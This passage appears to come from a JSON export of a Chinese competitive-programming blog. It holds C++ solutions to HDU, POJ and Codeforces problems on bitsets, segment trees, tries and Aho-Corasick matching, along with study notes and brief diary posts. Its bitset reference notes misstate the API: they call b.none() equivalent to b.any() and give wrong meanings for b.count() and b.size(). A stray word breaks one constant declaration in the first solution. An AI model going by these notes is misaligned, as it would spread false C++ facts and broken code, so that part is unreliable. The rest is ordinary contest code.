6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003cbitset\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1};Explosion 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33unsigned long long n ; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 while (~scanf(\"%llu\",\u0026n)) 40 { 41 bitset\u003c11\u003eb(n); 42 string ans = b.to_string(); 43 bool flag = false; 44 for ( int i = 0 ; i \u003c ans.length() ; i++) 45 if (flag||ans[i]!='0') flag = true,cout\u003c\u003cans[i]; 46 cout\u003c\u003cendl; 47 } 48 #ifndef ONLINE_JUDGE 49 fclose(stdin); 50 #endif 51 return 0; 52}","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/hdu-2051/","section":"Posts","summary":"题目链接 题意：把一个数n(n\u003c1000)转化成二进制输出。。。","tags":["bitset优化"],"title":"hdu 2051 bitset  (水)","type":"post"},{"categories":[],"content":"1.定义与初始化 在定义 bitset 时，要明确 bitset 有多少位，这个位数是整形常量 (tips:如果长度和输入的数m有关，在做翻转操作以后再统计时候会多算，一个可以的做法是设置一个长度为m，所有位上都是1的位串，然后翻转之后先与一下。类似的技巧还有很多。) （） bitset b; //b 有 n 位，每位都是 0 bitset b(u); //b 是 unsigned long 型 u 的一个副本 bitset b(s); //b 是 string 对象 s 中含有的位串的副本，这个s 必须是位串，也就是二进制码串 bitset b(s, pos, n); //b 是 s 中 从位置 pos 开始的 n 个位的副本 2.bitset 的操作 b.any() //b 中是否存在置为 1 的二进制位？ b.none() // 和b.any() 效果一样 b.count() //b 中不存在置为 1 的二进制位吗？ b.any() //b中存在置为1的二进制位吗？ b.size() //b 中置为 1 的二进制位的个数 b[pos] //访问 b 中在 pos 处二进制位 b.test(pos) //b 中在 pos 处的二进制位置为 1 b.set() // 把 b 中所有二进制位都置为 1 b.set(pos) //把 b 中在 pos 处的二进制位置为 1 b.reset() //把 b 中所有二进制位都置为 0 b.reset(pos) //把 b 中在 pos 处的二进制位置为 0 b.flip() //把 b 中所有二进制位逐位取反 b.flip(pos) //把 b 中在 pos 处的二进制位取反 b.to_ulong() //用 b 中同样的二进制位返回一个 unsigned long 值 os « b //把 b 中的位集输出到 os 流 示例： cout « b « endl;","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/acm--bitset/","section":"Posts","summary":"1.定义与初始化 在定义 bitset 时，要明确 bitset 有多少位，这个位数是整形常量","tags":["bitset优化"],"title":"acm 奇技淫巧  bitset","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个城市，m条双向路，要从k条中选择一个，使得到其他n-k个城市中的某个城市的距离最短。 思路：直接暴力 枚举。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月20日 星期六 21时02分14秒 4File Name :code/cf/#368/B.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N =1E5+7; 33int n,m,k; 34vector \u003cpair \u003cint,LL\u003e \u003eedge[N]; 35int b[N]; 36bool cangku[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ios::sync_with_stdio(false); 43 cin\u003e\u003en\u003e\u003em\u003e\u003ek; 44 ms(cangku,false); 45 for ( int i = 1 ; i \u003c= m ; i++) 46 { 47 int u,v; 48 LL w; 49 cin\u003e\u003eu\u003e\u003ev\u003e\u003ew; 50 edge[u].push_back(make_pair(v,w)); 51 edge[v].push_back(make_pair(u,w)); 52 } 53 if (k==0) 54 { 55 cout\u003c\u003c-1\u003c\u003cendl; 56 return 0 ; 57 } 58 for ( int i = 1 ; i \u003c= k ; i++) 59 { 60 cin\u003e\u003eb[i]; 61 cangku[b[i]] = true; 62 } 63 if (k==n) 64 { 65 cout\u003c\u003c-1\u003c\u003cendl; 66 return 0; 67 } 68 LL ans = inf; 69 for (int i = 1 ; i \u003c= k ; i++) 70 { 71 int u = b[i]; 72 int siz = edge[u].size(); 73 for (int j = 0 ; j \u003c siz ; j++) 74 { 75 int v = edge[u][j].fst; 76 if (cangku[v]) continue; 77 LL w = edge[u][j].sec; 78 ans = min(ans,w); 79 } 80 } 81 if (ans==inf) ans = -1; 82 cout\u003c\u003cans\u003c\u003cendl; 83 #ifndef ONLINE_JUD","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/707b/","section":"Posts","summary":"题目链接 题意：n个城市，m条双向路，要从k条中选择一个，使得到其他n-k个城市中的某个城市的距离最短。","tags":["brute force"],"title":"codeforces #368 div 2 B. Bakery (暴力)","type":"post"},{"categories":["ACM"],"content":"题目链接 。。。这题也能成hack题。。。。有毒啊。。然后我room里所有人都写对了。。。是我看这道题看得太早了？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月20日 星期六 21时01分57秒 4File Name :code/cf/#368/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cdeque\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=105; 35int n,m; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 cin\u003e\u003en\u003e\u003em; 43 bool ok = false; 44 for ( int i = 1 ; i \u003c= n ; i++) 45 for ( int j = 1 ; j \u003c=m ; j++ ) 46 { 47 char col; 48 cin\u003e\u003ecol; 49 if (col=='C'||col=='M'||col=='Y') ok = true; 50 } 51 if (ok) cout\u003c\u003c\"#Color\"\u003c\u003cendl; 52 else cout\u003c\u003c\"#Black\u0026White\"\u003c\u003cendl; 53 54 #ifndef ONLINE_JUDGE 55 fclose(stdin); 56 #endif 57 return 0; 58}","date":"2016-08-21","externalUrl":null,"permalink":"/2016/08/cf707a/","section":"Posts","summary":"题目链接 。。。这题也能成hack题。。。。有毒啊。。然后我room里所有人都写对了。。。是我看这道题看得太早了？","tags":["brute force"],"title":"codeforces #368 div 2 A. Brain's Photos (暴力)","type":"post"},{"categories":["随笔杂谈"],"content":"。。第一场组队赛。。。罚时爆炸。。。pacedect不在。。。没rk1好不开心啊。。。我的锅我的锅。。。 晚上cf听从适牛的写题策略。。先从c开始。。。终于蓝了。。。也是感动。。。 然后看到一些学长的cf号。。发现都好高啊。。。。 但是区域赛并没有取得什么好的成绩。。。甚至打铁。。。 而我们去年拿牌的几个队的所有人。。。rating最高的不过1700+? 随便一个毕业学长都有1800.。。三个这样的学长组在一起结果打了铁。。。？ 我也不是很懂。。。是区域赛变简单了。。。还是cf变难了。。。。 说起来。。。8月21.。。今天好像是小可的生日呢。。。。。。 嘛，还是要说句生日快乐的，嗯。","date":"2016-08-20","externalUrl":null,"permalink":"/2016/08/0821/","section":"Posts","summary":"。。第一场组队赛。。。罚时爆炸。。。pacedect不在。。。没rk1好不开心啊。。。我的锅我的锅。。。","tags":["算法竞赛"],"title":"0821随笔","type":"post"},{"categories":["随笔杂谈"],"content":"","date":"2016-08-18","externalUrl":null,"permalink":"/2016/08/the-way-so-far/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"the way so far","type":"post"},{"categories":["ACM"],"content":"hdu 1754 题目链接 题意：单点更新，区间查询最大值。 思路：线段树。 一开始借鉴了clj的pointer写法。。wjmzbmr’s code 直接MLE。。。看来也许只能在cf上用。。。 下面是MLE的代码： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月18日 星期四 18时40分24秒 4File Name :code/hdu/1754.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=2E5+7; 33int a[N],n,m; 34int _max( int x,int y) 35{ 36 if (x==-1||y==-1) 37 return x==-1?y:x; 38 return a[x]\u003ea[y]?x:y; 39} 40struct Tree 41{ 42 Tree *pl,*pr; 43 int l,r,mx; 44 void update() 45 { 46 mx = _max(pl-\u003emx,pr-\u003emx); 47 } 48 Tree(int l,int r) : 49 l(l),r(r) 50 { 51 if ( l + 1 == r) 52 { 53 mx = l ; 54 return ; 55 } 56 pl = new Tree(l,(l+r)\u003e\u003e1); 57 pr = new Tree((l+r)\u003e\u003e1,r); 58 update(); 59 } 60 void change(int p,int x) 61 { 62 if (p \u003c l|| p\u003e=r) return; 63 if (l+1==r) 64 { 65 a[l] = x; 66 return ; 67 } 68 pl-\u003echange(p,x); 69 pr-\u003echange(p,x); 70 update(); 71 } 72 int queryMax(int L,int R) 73 { 74 if (L \u003c= l \u0026\u0026 r \u003c= R) return mx; 75 if (L\u003e=r || l \u003e=R) 76 return -1; 77 return _max(pl-\u003equeryMax(L,R),pr-\u003equeryMax(L,R)); 78 } 79}*rt; 80int main() 81{ 82 #ifndef ONLINE_JUDGE 83 freopen(\"code/in.txt\",\"r\",stdin); 84 #endif 85 while (~scanf(\"%d%d\",\u0026n,\u0026m)) 86 { 87 ms(a,","date":"2016-08-18","externalUrl":null,"permalink":"/2016/08/hdu-1754/","section":"Posts","summary":"hdu 1754 题目链接 题意：单点更新，区间查询最大值。 思路：线段树。 一开始借鉴了clj的pointer写法。。wjmzbmr’s code 直接MLE。。。看来也许只能在cf上用。。。 下面是MLE的代码：","tags":["线段树"],"title":"hdu 1754 I Hate It (线段树模板题，炒鸡详细注释版)","type":"post"},{"categories":["ACM"],"content":"嘛，终于下定决心搞定线段树了。 之前几次都是被lazy标记卡住，这次大概不会了吧2333 放一些学习资料，最后比较zkw线段树和普通线段树的区别。 codeforces上非递归线段树讲解 （其实就是zkw吧） 线段树进阶（各种花式技巧） 找到了一篇非常赞的tutorial（含lazy标记） 链接","date":"2016-08-18","externalUrl":null,"permalink":"/2016/08/%e7%ba%bf%e6%ae%b5%e6%a0%91%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"嘛，终于下定决心搞定线段树了。 之前几次都是被lazy标记卡住，这次大概不会了吧2333","tags":["线段树"],"title":"线段树学习笔记","type":"post"},{"categories":["c++"],"content":"昨天终于搞定了ycm对c++11的支持…. 嘛，17都快出来了，我竟然连11都不会用。 不过突然把所有的11特性给我也没办法全部吸收。 所以在这里记录下用过的c++11的用法。 # auto可以代替stl的一些容器中的iterator: # 1/****************************************************************** 2******************************************************************* 3******************************************************************/ 4set\u003cint\u003ese; 5//之前的写法遍历要这样写： 6for (set\u003cint\u003e::iterator it = se.begin() ;it!=se.end() ;it++) 7 8//用auto可以简化成这样子 9for ( auto it = se.begin(); it!=se.end() ;it++)","date":"2016-08-18","externalUrl":null,"permalink":"/2016/08/c11-/","section":"Posts","summary":"昨天终于搞定了ycm对c++11的支持…. 嘛，17都快出来了，我竟然连11都不会用。","tags":["c++11"],"title":"c++11 学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个病毒的模式串，问每个病毒串在文本串中出现了多少次。 思路：ac自动机。模式串只由大写字母组成。文本串是所有可视字符。 如果动态128会MLE.做法是换成静态数组写法，或者对于每次Search的时候，出现非大写字母的字符特判一下。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月18日 星期四 00时17分38秒 4File Name :code/hdu/3065.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int sizTrie = 26; 33map\u003cint,int\u003emp; 34char ill[1005][50]; 35struct Trie 36{ 37 struct Node 38 { 39 Node *nxt[sizTrie]; 40 Node *fail; 41 int cnt; 42 int id; 43 Node() 44 { 45 for ( int i = 0 ; i \u003c sizTrie; i++) nxt[i]=NULL; 46 cnt = 0 ; 47 id = 0 ; 48 fail = NULL; 49 } 50 }; 51 Node *root; 52 void init() 53 { 54 root = new Node(); 55 } 56 void Insert(char *s,int x) 57 { 58 int len = strlen(s); 59 Node *u = root; 60 for ( int i = 0 ; i \u003c len ; i++ ) 61 { 62 int v = s[i]-'A'; 63 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 64 u = u-\u003enxt[v]; 65 } 66 u-\u003ecnt++; 67 u-\u003eid = x; 68// cout\u003c\u003c\"s:\"\u003c\u003cs\u003c\u003c\" cnt:\"\u003c\u003c u-\u003ecnt \u003c\u003cendl; 69 } 70 void getFail() 71 { 72 root-\u003efail = root; 73 queue\u003cNode*\u003eQ; 74 for ( int i = 0 ; i \u003c sizTrie ; i++) 75 { 76 if (root-\u003enxt[i]==NULL) 77 root-\u003enxt[i] = root; 78 else 79 { 80 root-\u003enxt[i]-\u003efail = root; 81 Q.push(root-\u003enxt[i]); 82 } 83 } 8","date":"2016-08-17","externalUrl":null,"permalink":"/2016/08/hdu-3065/","section":"Posts","summary":"题目链接 题意：给出n个病毒的模式串，问每个病毒串在文本串中出现了多少次。","tags":["算法竞赛"],"title":"hdu 3065 病毒侵袭持续中 (ac自动机)","type":"post"},{"categories":["ACM"],"content":"hdu 2896 题目链接 题意：给出n个病毒，然后给出m个网站，然后问每个网站中有哪些病毒，以及有病毒的网站的个数。 需要注意病毒和网站都需要按从小到达排列输出。 思路：ac自动机，需要记录病毒id…然后。。因为病毒的id忘记排序wa了好多发。。智力减2. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月16日 星期二 19时53分24秒 4File Name :code/hdu/2896.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33vector \u003cint\u003eans; 34struct Trie 35{ 36 struct Node 37 { 38 Node *nxt[128]; 39 Node *fail; 40 int val; 41 Node() 42 { 43 for ( int i = 0 ; i \u003c 128 ; i++) nxt[i] = NULL; 44 val = 0; 45 fail = NULL; 46 } 47 }; 48 Node *root; 49 void init() 50 { 51 root = new Node(); 52 } 53 void Insert(char *s,int num) 54 { 55 int len = strlen(s); 56 Node *u = root; 57 for ( int i = 0 ; i \u003c len ;i++) 58 { 59 int v = s[i]-32; 60 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 61 u = u-\u003enxt[v]; 62 } 63 u-\u003eval = num; 64 } 65 void getFail() 66 { 67 root-\u003efail = root; 68 queue\u003cNode*\u003eQ; 69 for ( int i = 0 ; i \u003c 128 ; i++) 70 { 71 if (root-\u003enxt[i]==NULL) 72 root-\u003enxt[i] = root; 73 else 74 { 75 root-\u003enxt[i]-\u003efail = root; 76 Q.push(root-\u003enxt[i]); 77 } 78 } 79 while (!Q.empty()) 80 { 81 Node * cur = Q.front(); 82 Q.pop(); 83 for ( int i = 0 ; i \u003c 128 ; i++) 84 if (cur-\u003en","date":"2016-08-17","externalUrl":null,"permalink":"/2016/08/hdu-2896/","section":"Posts","summary":"hdu 2896 题目链接 题意：给出n个病毒，然后给出m个网站，然后问每个网站中有哪些病毒，以及有病毒的网站的个数。","tags":["ac自动机"],"title":"hdu 2896 病毒侵袭 (ac自动机)","type":"post"},{"categories":["ACM"],"content":"orzorz 日常%学弟 华科的未来orz 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3 4using namespace std; 5 6struct tnode { 7 int s; 8 tnode *f, *w, *c[26]; 9} T[5000000], *Q[5000000]; 10int C; 11 12inline tnode *tnew() { 13 memset(T + C, 0, sizeof(tnode)); 14 return T + C++; 15} 16 17inline void AcaInsert(tnode *p, const char *s) { 18 while (*s) { 19 int u = *s - 'a'; 20 if (!p-\u003ec[u]) 21 p-\u003ec[u] = tnew(); 22 p = p-\u003ec[u]; 23 ++s; 24 } 25 ++p-\u003es; 26} 27 28inline void AcaBuild(tnode *p) { 29 p-\u003ef = p-\u003ew = p; 30 int ql = 0; 31 for (int i = 0; i \u003c 26; ++i) 32 if (p-\u003ec[i]) { 33 p-\u003ec[i]-\u003ef = p-\u003ec[i]-\u003ew = p; 34 Q[ql++] = p-\u003ec[i]; 35 } 36 for (int qf = 0; qf \u003c ql; ++qf) 37 for (int i = 0; i \u003c 26; ++i) 38 if (Q[qf]-\u003ec[i]) { 39 tnode *f = Q[qf]-\u003ef; 40 while (f != p \u0026\u0026 !f-\u003ec[i]) 41 f = f-\u003ef; 42 if (f-\u003ec[i]) { 43 Q[qf]-\u003ec[i]-\u003ef = f-\u003ec[i]; 44 Q[qf]-\u003ec[i]-\u003ew = f-\u003ec[i]-\u003es ? f-\u003ec[i] : f-\u003ec[i]-\u003ew; 45 } 46 else 47 Q[qf]-\u003ec[i]-\u003ef = Q[qf]-\u003ec[i]-\u003ew = p; 48 Q[ql++] = Q[qf]-\u003ec[i]; 49 } 50} 51 52inline int AcaMatch(tnode *root, const char *s) { 53 int x = 0; 54 for (tnode *p = root; *s; ++s) { 55 while (p != root \u0026\u0026 !p-\u003ec[*s - 'a']) 56 p = p-\u003ef; 57 if (p-\u003ec[*s - 'a']) { 58 p = p-\u003ec[*s - 'a']; 59 for (tnode *q = p; q-\u003es != -1; q = q-\u003ew) { 60 x += q-\u003es; 61 q-\u003es = -1; 62 } 63 } 64 } 65 return x; 66} 67 68char S[1000001]; 69 70int main() { 71 int tt; 72 scanf(\"%d\", \u0026tt); 73 while (tt--) { 74 C = 0; 75 tnode *root = tnew(); 76 root-\u003es = -1; 77 int N; 78 scanf(\"%d\", \u0026N); 79 while (N--) { 80 scanf(\"%s\", S); 81 AcaInsert(root, S); 82 } 83 AcaBuild(root); 84 scanf(\"%s\", S); 85 printf(\"%d\\n\", AcaMatch(root, S)); 86 } 87 return 0; 88}","date":"2016-08-16","externalUrl":null,"permalink":"/2016/08/acby-lalatina-hdu-2222/","section":"Posts","summary":"orzorz 日常%学弟 华科的未来orz 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3 4using namespace std; 5 6struct tnode { 7 int s; 8 tnode *f, *w, *c[26]; 9} T[5000000], *Q[5000000]; 10int C; 11 12inline tnode *tnew() { 13 memset(T + C, 0, sizeof(tnode)); 14 return T + C++; 15} 16 17inline void AcaInsert(tnode *p, const char *s) { 18 while (*s) { 19 int u = *s - 'a'; 20 if (!p-\u003ec[u]) 21 p-\u003ec[u] = tnew(); 22 p = p-\u003ec[u]; 23 ++s; 24 } 25 ++p-\u003es; 26} 27 28inline void AcaBuild(tnode *p) { 29 p-\u003ef = p-\u003ew = p; 30 int ql = 0; 31 for (int i = 0; i \u003c 26; ++i) 32 if (p-\u003ec[i]) { 33 p-\u003ec[i]-\u003ef = p-\u003ec[i]-\u003ew = p; 34 Q[ql++] = p-\u003ec[i]; 35 } 36 for (int qf = 0; qf \u003c ql; ++qf) 37 for (int i = 0; i \u003c 26; ++i) 38 if (Q[qf]-\u003ec[i]) { 39 tnode *f = Q[qf]-\u003ef; 40 while (f != p \u0026\u0026 !f-\u003ec[i]) 41 f = f-\u003ef; 42 if (f-\u003ec[i]) { 43 Q[qf]-\u003ec[i]-\u003ef = f-\u003ec[i]; 44 Q[qf]-\u003ec[i]-\u003ew = f-\u003ec[i]-\u003es ? f-\u003ec[i] : f-\u003ec[i]-\u003ew; 45 } 46 else 47 Q[qf]-\u003ec[i]-\u003ef = Q[qf]-\u003ec[i]-\u003ew = p; 48 Q[ql++] = Q[qf]-\u003ec[i]; 49 } 50} 51 52inline int AcaMatch(tnode *root, const char *s) { 53 int x = 0; 54 for (tnode *p = root; *s; ++s) { 55 while (p != root \u0026\u0026 !p-\u003ec[*s - 'a']) 56 p = p-\u003ef; 57 if (p-\u003ec[*s - 'a']) { 58 p = p-\u003ec[*s - 'a']; 59 for (tnode *q = p; q-\u003es != -1; q = q-\u003ew) { 60 x += q-\u003es; 61 q-\u003es = -1; 62 } 63 } 64 } 65 return x; 66} 67 68char S[1000001]; 69 70int main() { 71 int tt; 72 scanf(\"%d\", \u0026tt); 73 while (tt--) { 74 C = 0; 75 tnode *root = tnew(); 76 root-\u003es = -1; 77 int N; 78 scanf(\"%d\", \u0026N); 79 while (N--) { 80 scanf(\"%s\", S); 81 AcaInsert(root, S); 82 } 83 AcaBuild(root); 84 scanf(\"%s\", S); 85 printf(\"%d\\n\", AcaMatch(root, S)); 86 } 87 return 0; 88}","tags":["ac自动机"],"title":"ac自动机模板by Lalatina （hdu 2222）","type":"post"},{"categories":["ACM"],"content":"hdu 2222 题目链接 题意：给出n个模式串，一个文本串，问文本串中出现了多少各模式串。 思路：ac自动机裸题。代码风格来自bin神。静态数组的写法。 需要理解 在build fail的时候，先单独处理root的必要性。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月16日 星期二 06时00分48秒 4File Name :code/hdu/2222.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 5E5+7; 34int n; 35struct Trie 36{ 37 int nxt[N][26],fail[N],end[N]; 38 int root,L; 39 int newnode() 40 { 41 for ( int i = 0 ; i \u003c 26 ; i++) nxt[L][i]=-1; 42 end[L++] = 0 ; 43 return L-1; 44 } 45 void init() 46 { 47 L = 0 ; 48 root = newnode(); 49 } 50 void Insert(char *s) 51 { 52 int len = strlen(s); 53 int u = root; 54 for ( int i = 0 ; i \u003c len ; i++) 55 { 56 int v = s[i]-'a'; 57 if (nxt[u][v]==-1) 58 nxt[u][v] = newnode(); 59 u = nxt[u][v]; 60 } 61 end[u]++; 62 } 63 void Getfail() 64 { 65 queue\u003cint\u003eQ; 66 fail[root] = root; 67 for ( int i = 0 ; i \u003c 26 ; i++) 68 if (nxt[root][i]==-1) 69 nxt[root][i] = root; 70 else 71 { 72 fail[nxt[root][i]] = root; 73 Q.push(nxt[root][i]); 74 } 75 while (!Q.empty()) 76 { 77 int cur = Q.front(); 78// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 79 Q.pop(); 80 for ( int i = 0 ; i \u003c 26 ; i++) 81 if (nxt[cur][i]==-1) 82 nxt[cur][","date":"2016-08-16","externalUrl":null,"permalink":"/2016/08/hdu-2222/","section":"Posts","summary":"hdu 2222 题目链接 题意：给出n个模式串，一个文本串，问文本串中出现了多少各模式串。","tags":["ac自动机"],"title":"hdu 2222 Keywords Search (ac自动机模板题（静态数组写法+动态指针写法）)","type":"post"},{"categories":["ACM"],"content":"突然感觉。。。 我这种几乎没有恋爱经验的人。。。 感觉被妹子随便用点手段就能收了啊orz 想想真是可怕。。。 别问我为什么突然有这种的感慨。。。 吓傻了。。。。 还是好好写代码比较靠谱。","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/20160816/","section":"Posts","summary":"突然感觉。。。 我这种几乎没有恋爱经验的人。。。 感觉被妹子随便用点手段就能收了啊orz","tags":["算法竞赛"],"title":"20160816随笔","type":"post"},{"categories":["ACM"],"content":"老规矩，先放资料： 参考资料1 参考资料2 参考资料3 （其实这些资料我都没怎么看。。。。因为感觉。。。理解起来非常容易的样子orz） 我的理解：感觉这东西如果明白了kmp和trie，理解起来就完全没难度。。。 感觉就是在trie上做kmp…？ nxt数组换个名字叫fail。。。。其实是一样的东西吧。。。？ 来来来，先干一波题再回来总结。。。 感觉暴力匹配相对于kmp（都是线性单模式串），就好像trie相对于ac自动机（都是树上多模式串） 另一个方向：暴力相对于trie，（都是暴力）就好像kmp相对于ac自动机（都是经过失配优化） ac自动机的题目里这么多和dp结合在一起让我怎么做啊orz… 以及感觉。。。ac自动机的水平可以通过多写trie来提高2333。 区域赛之前再刷一波trie… 是时候干掉线段树了。。。","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/ac/","section":"Posts","summary":"老规矩，先放资料： 参考资料1 参考资料2 参考资料3 （其实这些资料我都没怎么看。。。。因为感觉。。。理解起来非常容易的样子orz）","tags":["ac自动机","算法竞赛"],"title":"ac自动机学习笔记","type":"post"},{"categories":["ACM"],"content":"poj 2001 题目链接 题意：给出n个字符串的表，问每个字符串的简化表示。简化表示的要求是，以该字符串的最短的而且不能产生歧义的前缀来表示。 思路：字典树，多一个cnt属性，每次insert的时候，路过的每个节点的cnt++ find的时候从root往下扫。。遇到的cnt为1的节点结尾的字符串。。就是该单词的唯一表示。。。 按照这个思路写了一发。。。1A好开心哈哈哈 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月16日 星期二 02时55分22秒 4File Name :code/poj/2001.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 